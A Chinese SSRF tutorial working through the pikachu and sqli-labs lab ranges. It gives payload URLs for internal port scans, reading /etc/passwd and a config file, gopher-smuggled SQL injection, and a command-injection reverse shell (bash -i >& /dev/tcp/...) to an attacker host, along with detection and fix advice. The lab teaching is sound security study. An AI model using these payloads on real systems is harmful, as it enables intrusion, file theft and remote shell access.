浅谈 SSRF 服务器端请求伪造攻击与防御
文章目录
- 浅谈 SSRF 服务器端请求伪造攻击与防御
-
- 0x01 SSRF 服务器端请求伪造简介
-
- 1.SSRF 常见用途
- 2.SSRF 常见位置
- 3.常见的 URL 关键字
- 0x02 pikachu 环境搭建
- 0x03 SSRF 漏洞实践-端口扫描-任意文件读取
-
- 1.端口扫描
- 2.任意文件读取
- 0x04 SSRF-gopher 协议扩展利用-内网发起 GET/POST 请求
-
- 1.Gopher 简介
- 2.Gopher 语法演示
- 3.Gopher 发送 GET 请求
- 4.Gopher 发送 POST 请求
- 5.Gopher 协议对内网 Web 服务进行 SQL 注入 GET 类型
- 6.Gopher 对内网 Web 服务进行 SQL 注入 POST 类型
- 7.通过命令注入反弹 shell
- 0x05 SSRF 漏洞检测方法
- 0x06 SSRF 漏洞修复建议
0x01 SSRF 服务器端请求伪造简介
SSRF(Server-Side Request Forgery:服务器端请求伪造)通过篡改 HTTP 请求中的资源地址发送给服务器,服务器没有校验请求的合法性,服务器解析用户传递过来的请求,处理之后返回给用户。一般情况下,SSRF 攻击的目标是外网无法访问的内部系统(正因为请求是由服务端发起的,所以服务端能请求到与自身相连而与外网隔离的内部系统)
例如:
- HTTP 请求:www.baidu.com/xxx.php?image=http://www.baidu.com/fzilin.jpg
- 服务器接收到请求之后获取 http://www.baidu.com/fzilin.jpg 图片
- 服务器获取到图片后将图片返回给用户。
问题产生在第二步,服务器会向第三方站点发送请求并获取资源文件,如果网站对资源文件的地址没有做合法性校验,则用户可以构造任意请求让服务器来执行。
1.SSRF 常见用途
- 内外网的端口和服务扫描
- 主机本地敏感数据的读取
- 内外网主机应用程序漏洞的利用
- 内外网 Web 站点漏洞的利用
- 对内网 Web 应用进行指纹识别,识别企业内部的资产信息
2.SSRF 常见位置
- 分享:通过 URL 地址分享网页内容
- 转码服务
- 在线翻译
- 图片加载与下载:通过 URL 地址加载或下载图片
- 图片、文章收藏功能
- 未公开的 api 实现以及其他调用 URL 的功能
- 从 URL 关键字中寻找
3.常见的 URL 关键字
- share
- wap
- url
- link
- src
- source
- target
- u
- 3g
- display
- sourceURL
- imageURL
- domain
0x02 pikachu 环境搭建
环境介绍:
LAMP 环境
将压缩包传到 CentOS 下
解压
[[email protected] ~]# unzip pikachu-master.zip -d /var/www/html/
[[email protected] ~]# vim /var/www/html/pikachu-master/inc/config.inc.php
将11行的 DBPW 输入自己的数据库密码,如果用户名不是root 也需要修改,这样才能连接数据库
访问网址 http://192.168.10.128/pikachu-master/
初始化靶场
0x03 SSRF 漏洞实践-端口扫描-任意文件读取
1.端口扫描
选择 SSRF 模块
该模块的 URL 地址为
http://192.168.10.128/pikachu-master/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1/pikachu-master/vul/ssrf/ssrf_info/info1.php
我们分析 URL 地址ssrf_curl.php?url=http://127.0.0.1/pikachu-master/vul/ssrf/ssrf_info/info1.php
通过 URL 参数加载远程的资源信息,这里的诗句是由后面的 info1.php 输出的
修改 URL 地址我们来探测该网站的 22 端口
http://192.168.10.128/pikachu-master/vul/ssrf/ssrf_curl.php?url=http://192.168.10.128:22
我们来探测 kali 主机的 22 端口
http://192.168.10.128/pikachu-master/vul/ssrf/ssrf_curl.php?url=http://192.168.10.129:22
还能探测本机的MySQL 数据库服务
http://192.168.10.128/pikachu-master/vul/ssrf/ssrf_curl.php?url=http://192.168.10.128:3306
小结
设置参数URL为内网地址时,则会泄露内网信息
2.任意文件读取
读取本机的 passwd 文件
语法:
file+文件路径
构造后的链接
http://192.168.10.128/pikachu-master/vul/ssrf/ssrf_curl.php?url=file:///etc/passwd
读取PHP文件,读取 PHP 文件需要使用 php:// 但是在 curl_exex() 中不能读取 php 文件
file_get_content(不支持 https,支持http,支持 php://内置协议)
读取数据库配置文件
http://192.168.10.128/pikachu-master/vul/ssrf/ssrf_fgc.php?file=php://filter/read=convert.base64-encode/resource=/var/www/html/pikachu-master/inc/config.inc.php
php://filter 是一种元封装器,设计用于数据流打开时的筛选过滤应用,这对于一体式(all-in-one)的文件函数非常有用,类似于readfile()、file()和file_get_contents(),在数据流内容读取之前没有机会应用其他过滤器
convert.base64-encode/resource 转码为 base64格式,php 文件不能被直接读取,需要经过base64编码之后才能被解码
我们可以看到输入完成后会出现配置文件
我们解码
放到 Kali Linux 中进行解码
┌──(root💀fengzilin55)-[~/桌面]
└─# echo PD9waHAKLy/lhajlsYBzZXNzaW9uX3N0YXJ0CnNlc3Npb25fc3RhcnQoKTsKLy/lhajlsYDlsYXorr7nva7ml7bljLoKZGF0ZV9kZWZhdWx0X3RpbWV6b25lX3NldCgnQXNpYS9TaGFuZ2hhaScpOwovL+WFqOWxgOiuvue9rum7mOiupOWtl+espgpoZWFkZXIoJ0NvbnRlbnQtdHlwZTp0ZXh0L2h0bWw7Y2hhcnNldD11dGYtOCcpOwovL+WumuS5ieaVsOaNruW6k+i/nuaOpeWPguaVsApkZWZpbmUoJ0RCSE9TVCcsICcxMjcuMC4wLjEnKTsvL+WwhmxvY2FsaG9zdOaIluiAhTEyNy4wLjAuMeS/ruaUueS4uuaVsOaNruW6k+acjeWKoeWZqOeahOWcsOWdgApkZWZpbmUoJ0RCVVNFUicsICdyb290Jyk7Ly/lsIZyb2905L+u5pS55Li66L+e5o6lbXlzcWznmoTnlKjmiLflkI0KZGVmaW5lKCdEQlBXJywgJzEyMzQ1NicpOy8v5bCGcm9vdOS/ruaUueS4uui/nuaOpW15c3Fs55qE5a+G56CB77yM5aaC5p6c5pS55LqG6L+Y5piv6L+e5o6l5LiN5LiK77yM6K+35YWI5omL5Yqo6L+e5o6l5LiL5L2g55qE5pWw5o2u5bqT77yM56Gu5L+d5pWw5o2u5bqT5pyN5Yqh5rKh6Zeu6aKY5Zyo6K+077yBCmRlZmluZSgnREJOQU1FJywgJ3Bpa2FjaHUnKTsvL+iHquWumuS5ie+8jOW7uuiuruS4jeS/ruaUuQpkZWZpbmUoJ0RCUE9SVCcsICczMzA2Jyk7Ly/lsIYzMzA25L+u5pS55Li6bXlzcWznmoTov57mjqXnq6/lj6PvvIzpu5jorqR0Y3AzMzA2Cgo/Pgo= | base64 -d
在线解码 https://base64.us/
小结
设置参数 URL 为文件上传的路径时,则会泄露重要文件。
0x04 SSRF-gopher 协议扩展利用-内网发起 GET/POST 请求
1.Gopher 简介
Gopher 在 HTTP 协议前是非常有名的信息查找系统,但是 WWW 万维网出现之后 Gopher 逐渐消失,但是在 SSRF 漏洞中 Gopher 协议让漏洞利用更加灵活,利用此协议可对 ftp,memcache ,MySQL,telnet,Redis,等服务进行攻击,可以构造发送 GET ,POST 请求包。
2.Gopher 语法演示
Gopher 协议语法格式:
gopher://<host>:<port>/<gopher-path>_后面接 TCP 数据流
演示语法:
┌──(root💀fengzilin55)-[~/桌面]
└─# nc -lp 4444
┌──(root💀fengzilin55)-[~/桌面]
└─# curl gopher://192.168.10.129:4444/abcd
需要注意的是 abcd 的第一个字符被自动去除了,所以通常我们提交请求时第一个字符使用下划线_来表示
┌──(root💀fengzilin55)-[~/桌面]
└─# curl gopher://192.168.10.129:4444/_abcd
3.Gopher 发送 GET 请求
首先我们写一个简单的 GET 请求的页面
┌──(root💀fengzilin55)-[~/桌面]
└─# vim /var/www/html/get.php
<?php
echo "Hello ".$_GET["name"]
?>
正常情况我们使用 http 协议发送 get 请求方法
┌──(root💀fengzilin55)-[~/桌面]
└─# curl http://192.168.10.129/get.php?name=fzilinHello fzilin
构造 goher 协议的 GET 请求
浏览器访问
http://192.168.10.129/get.php?name=fzilin
burpsuite 获取 get 请求数据包
get 请求我们只需要前两行就可以了
GET /get.php?name=fzilin HTTP/1.1
Host: 192.168.10.129
进行URL编码可以使用 hackbar 进行编码
_GET%20/get.php%3Fname%3Dfzilin%20HTTP/1.1%0D%0AHost%3a%20192.168.10.129%0D%0A
- GET 前添加下划线_ ,如果不添加第一个字符会被吃掉
- 空格以及冒号等特殊字符需要转换为 URL 编码,
/ 不要进行 URL 编码,换行符通过工具在进行 URL 编码是默认会编码成 %0A ,但是实际在 HTTP 请求中的换行符是%0D%0A,所以我们要手动替换,并在HTTP 请求结尾也需要添加
完整请求
┌──(root💀fengzilin55)-[~/桌面]
└─# curl gopher://192.168.10.129:80/_GET%20/get.php%3Fname%3Dfzilin%20HTTP/1.1%0D%0AHost%3a%20192.168.10.129%0D%0A
4.Gopher 发送 POST 请求
同样的我们写一个 POST 页面
┌──(root💀fengzilin55)-[~/桌面]
└─# vim /var/www/html/post.php
<?php
echo "Hello ".$_POST["name"]
?>
测试页面
┌──(root💀fengzilin55)-[~/桌面]
└─# curl http://192.168.10.129/post.php -d name=fzilin
构造 gopher 的 POST 请求
浏览器访问 http://192.168.10.129/post.php
burpsuite 截取的数据包
我们留下打钩的这几行,留下这五行
POST /post.php HTTP/1.1
Host: 192.168.10.129
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
name=fzilin
- Content-Length 用于描述 HTTP 消息实体的传输长度也就是 POST 传输的内容长度,比如name=fzilin 字节长度为 11。
- Content-Type 用来执行传输内容的类型。
- application/x-www-form-urlencoded:HTTP 会将请求参数用 key1=val1&key2=val2 的方式进行组织,并放到请求实体里面,注意如果是中文或特殊字符如"/"、","、":" 等会自动进行 URL 转码。不支持文件,一般用于表单提交。
我们使用编写的 Python 脚本来进行URL 编码
脚本如下
┌──(root💀fengzilin55)-[~/桌面]
└─# vim gopher_encode.py
import urllib.parse
req =\
"""POST /post.php HTTP/1.1
Host: 192.168.10.129
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
name=fzilin
"""
#对空格、冒号、换行等特殊符号进行 url 编码
fzilin = urllib.parse.quote(req)
#将换行符替换为%0D%0A
new = fzilin.replace('%0A','%0D%0A')
#result = '_'+urllib.parse.quote(new)
#在结果前面添加_gopher 会吃掉第一个字符。
result = '_'+new
#打印编码后的请求
print(result)
注:第一行 POST 在""“后面插入,最后的”""新起一行,HTTP 请求最后需要一个换行。
将内容添加到这里,注意格式要读对称
使用Python3 运行脚本出现结果
┌──(root💀fengzilin55)-[~/桌面]
└─# python3 gopher_encode.py
排错:
若出现以下提示错误,可能是req =\ 这个字符后面又空格导致的,请将所有字符后面的空格手动删除,即可
完整链接
┌──(root💀fengzilin55)-[~/桌面]
└─# curl gopher://192.168.10.129:80/_POST%20/post.php%20HTTP/1.1%0D%0AHost%3A%20192.168.10.129%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0AContent-Length%3A%2011%0D%0A%0D%0Aname%3Dfzilin%0D%0A
5.Gopher 协议对内网 Web 服务进行 SQL 注入 GET 类型
环境介绍:
- sqli-labs 环境
- pikachu 环境
- kali Linux
首先我们正常构造一个sql 注入的请求(sqli-labs 靶场 1-15章)
http://192.168.10.128/sqli-labs/Less-1/?id=-1 union select 1,user(),database() --+
pikachu-SSRF(curl)环境
我们测试,首先直接访问报错
http://192.168.10.128/pikachu-master/vul/ssrf/ssrf_curl.php?url=http://192.168.10.128/sqli-labs/Less-1/?id=-1 union select 1,user(),database() --+
原因是后面sql 注入语句的特殊字符导致的,所以需要进行 URL 编码
选择 URL encode 编码 编码了空格以及 +
再次编码需要两次编码 编码了%为%25
问题:
为什么要2次编码?
- 首先我们发给服务器的时候 URL 地址中不能包含特殊字符,需要第一次编码,先解码 %25
- 服务器接收到我们 URL 地址之后由 url_exec() 解析 URL 地址,此时服务器进行第二次解码,第二次解码则解码空格以及特殊字符
GET 类型
GET 类型可以直接访问使用 HTTP 协议进行利用是最便捷的,因为修改为 gopher 协议则需要构造一个 gopher 协议的请求。
浏览器访问http://192.168.10.128/sqli-labs/Less-1/?id=-1’union select 1,user(),database() --+
使用 burpsuite 获取 get 请求
获取头部
GET /sqli-labs/Less-1/?id=-1%27union%20select%201,user(),database()%20-- + HTTP/1.1
Host: 192.168.10.128
修改 Python 脚本
┌──(root💀fengzilin55)-[~/桌面]
└─# vim gopher_encode.py
import urllib.parse
req =\
"""GET /sqli-labs/Less-1/?id=-1%27union%20select%201,user(),database()%20--+ HTTP/1.1
Host: 192.168.10.128
"""
#对空格、冒号、换行等特殊符号进行 url 编码
fzilin = urllib.parse.quote(req)
#将换行符替换为%0D%0A
new = fzilin.replace('%0A','%0D%0A')
#result = '_'+urllib.parse.quote(new)
#在结果前面添加_gopher 会吃掉第一个字符。
result = '_'+new
#打印编码后的请求
print(result)
┌──(root💀fengzilin55)-[~/桌面]
└─# python3 gopher_encode.py
完整 payload
http://192.168.10.128/pikachu-master/vul/ssrf/ssrf_curl.php?url=gopher://192.168.10.128:80/_GET%20/sqli-labs/Less-1/%3Fid%3D-1%2527union%2520select%25201%2Cuser%28%29%2Cdatabase%28%29%2520--%2B%20HTTP/1.1%0D%0AHost%3A%20192.168.10.128%0D%0A
二次编码
http://192.168.10.128/pikachu-master/vul/ssrf/ssrf_curl.php?url=gopher%3A%2F%2F192.168.10.128%3A80%2F_GET%2520%2Fsqli-labs%2FLess-1%2F%253Fid%253D-1%252527union%252520select%2525201%252Cuser%2528%2529%252Cdatabase%2528%2529%252520--%252B%2520HTTP%2F1.1%250D%250AHost%253A%2520192.168.10.128%250D%250A
成功注入
6.Gopher 对内网 Web 服务进行 SQL 注入 POST 类型
POST注入关卡:http://192.168.10.128/sqli-labs/Less-11/
burpsuite 进行 SQL 注入并构造 POST 请求
uname=0admin'union select user(),database() --+
获取 五行内容
POST /sqli-labs/Less-11/ HTTP/1.1
Host: 192.168.10.128
Content-Type: application/x-www-form-urlencoded
Content-Length: 69
uname=0admin'union select user(),database() --+&passwd=&submit=Submit
使用Python脚本
import urllib.parse
req =\
"""POST /sqli-labs/Less-11/ HTTP/1.1
Host: 192.168.10.128
Content-Type: application/x-www-form-urlencoded
Content-Length: 69
uname=0admin'union select user(),database() --+&passwd=&submit=Submit
"""
#对空格、冒号、换行等特殊符号进行 url 编码
fzilin = urllib.parse.quote(req)
#将换行符替换为%0D%0A
new = fzilin.replace('%0A','%0D%0A')
#result = '_'+urllib.parse.quote(new)
#在结果前面添加_gopher 会吃掉第一个字符。
result = '_'+new
#打印编码后的请求
print(result)
执行结果
_POST%20/sqli-labs/Less-11/%20HTTP/1.1%0D%0AHost%3A%20192.168.10.128%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0AContent-Length%3A%2069%0D%0A%0D%0Auname%3D0admin%27union%20select%20user%28%29%2Cdatabase%28%29%20--%2B%26passwd%3D%26submit%3DSubmit%0D%0A
curl 命令测试
┌──(root💀fengzilin55)-[~/桌面]
└─# curl gopher://192.168.10.128:80/_POST%20/sqli-labs/Less-11/%20HTTP/1.1%0D%0AHost%3A%20192.168.10.128%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0AContent-Length%3A%2069%0D%0A%0D%0Auname%3D0admin%27union%20select%20user%28%29%2Cdatabase%28%29%20--%2B%26passwd%3D%26submit%3DSubmit%0D%0A
构造完整请求
http://192.168.10.128/pikachu-master/vul/ssrf/ssrf_curl.php?url=gopher://192.168.10.128:80/_POST%20/sqli-labs/Less-11/%20HTTP/1.1%0D%0AHost%3A%20192.168.10.128%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0AContent-Length%3A%2069%0D%0A%0D%0Auname%3D0admin%27union%20select%20user%28%29%2Cdatabase%28%29%20--%2B%26passwd%3D%26submit%3DSubmit%0D%0A
在线 URL 编码 http://www.jsons.cn/urlencode/
二次编码后
http://192.168.10.128/pikachu-master/vul/ssrf/ssrf_curl.php?url=gopher%3A%2F%2F192.168.10.128%3A80%2F_POST%2520%2Fsqli-labs%2FLess-11%2F%2520HTTP%2F1.1%250D%250AHost%253A%2520192.168.10.128%250D%250AContent-Type%253A%2520application%2Fx-www-form-urlencoded%250D%250AContent-Length%253A%252069%250D%250A%250D%250Auname%253D0admin%2527union%2520select%2520user%2528%2529%252Cdatabase%2528%2529%2520--%252B%2526passwd%253D%2526submit%253DSubmit%250D%250A
7.通过命令注入反弹 shell
环境介绍:
192.168.10.128 为 pikachu 环境
192.168.10.129 为 Kali Linux 环境
nc 创建侦听(kali)
┌──(root💀fengzilin55)-[~/桌面]
└─# nc -lvp 4444
burpsuite 开始监听
通过命令注入进行反弹 shell
127.0.0.1;bash -i >& /dev/tcp/192.168.10.129/4444 0>&1
burpsuite 获取到 POST 请求
获取 5行进行编码
POST /pikachu-master/vul/rce/rce_ping.php HTTP/1.1
Host: 192.168.10.128
Content-Type: application/x-www-form-urlencoded
Content-Length: 94
ipaddress=127.0.0.1%3Bbash+-i+%3E%26+%2Fdev%2Ftcp%2F192.168.10.129%2F4444+0%3E%261&submit=ping
修改 Python 脚本
import urllib.parse
req =\
"""POST /pikachu-master/vul/rce/rce_ping.php HTTP/1.1
Host: 192.168.10.128
Content-Type: application/x-www-form-urlencoded
Content-Length: 94
ipaddress=127.0.0.1%3Bbash+-i+%3E%26+%2Fdev%2Ftcp%2F192.168.10.129%2F4444+0%3E%261&submit=ping
"""
#对空格、冒号、换行等特殊符号进行 url 编码
fzilin = urllib.parse.quote(req)
#将换行符替换为%0D%0A
new = fzilin.replace('%0A','%0D%0A')
#result = '_'+urllib.parse.quote(new)
#在结果前面添加_gopher 会吃掉第一个字符。
result = '_'+new
#打印编码后的请求
print(result)
┌──(root💀fengzilin55)-[~/桌面]
└─# python3 gopher_encode.py
_POST%20/pikachu-master/vul/rce/rce_ping.php%20HTTP/1.1%0D%0AHost%3A%20192.168.10.128%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0AContent-Length%3A%2094%0D%0A%0D%0Aipaddress%3D127.0.0.1%253Bbash%2B-i%2B%253E%2526%2B%252Fdev%252Ftcp%252F192.168.10.129%252F4444%2B0%253E%25261%26submit%3Dping%0D%0A
完整的 gopher 请求
http://192.168.10.128/pikachu-master/vul/ssrf/ssrf_curl.php?url=gopher://192.168.10.128:80/_POST%20/pikachu-master/vul/rce/rce_ping.php%20HTTP/1.1%0D%0AHost%3A%20192.168.10.128%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0AContent-Length%3A%2094%0D%0A%0D%0Aipaddress%3D127.0.0.1%253Bbash%2B-i%2B%253E%2526%2B%252Fdev%252Ftcp%252F192.168.10.129%252F4444%2B0%253E%25261%26submit%3Dping%0D%0A
二次编码
http://192.168.10.128/pikachu-master/vul/ssrf/ssrf_curl.php?url=gopher%3A%2F%2F192.168.10.128%3A80%2F_POST%2520%2Fpikachu-master%2Fvul%2Frce%2Frce_ping.php%2520HTTP%2F1.1%250D%250AHost%253A%2520192.168.10.128%250D%250AContent-Type%253A%2520application%2Fx-www-form-urlencoded%250D%250AContent-Length%253A%252094%250D%250A%250D%250Aipaddress%253D127.0.0.1%25253Bbash%252B-i%252B%25253E%252526%252B%25252Fdev%25252Ftcp%25252F192.168.10.129%25252F4444%252B0%25253E%2525261%2526submit%253Dping%250D%250A
返回 kali Linux 查看状态
0x05 SSRF 漏洞检测方法
使用 burp collaborator 客户端(client)进行检测
点击拷贝这个网址 获取到一个地址 s3wv52tsllrrcodmq0xnvg7svj1bp0.burpcollaborator.net
访问 http://192.168.10.128/pikachu-master/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1/pikachu-master/vul/ssrf/ssrf_info/info1.php 这个地址抓取数据包,然后发送到中继器
替换url后面的地址,将上面复制的地址替换上去
返回burpsuite 点击poll now 现在轮询,即可查看到结果
只要有 DNS 解析记录则表示目标服务器向该网址发起请求。即存在 SSRF 漏洞。
在线检测平台:http://www.dnslog.cn/ 使用方法与 Burp Collaborator 客户端一致
0x06 SSRF 漏洞修复建议
- 限制请求的端口只能为 Web 端口,只允许访问 HTTP 和 HTTPS 的请求
- 限制不能访问内网的 IP,以防止对内网进行攻击
- 屏蔽返回的详细信息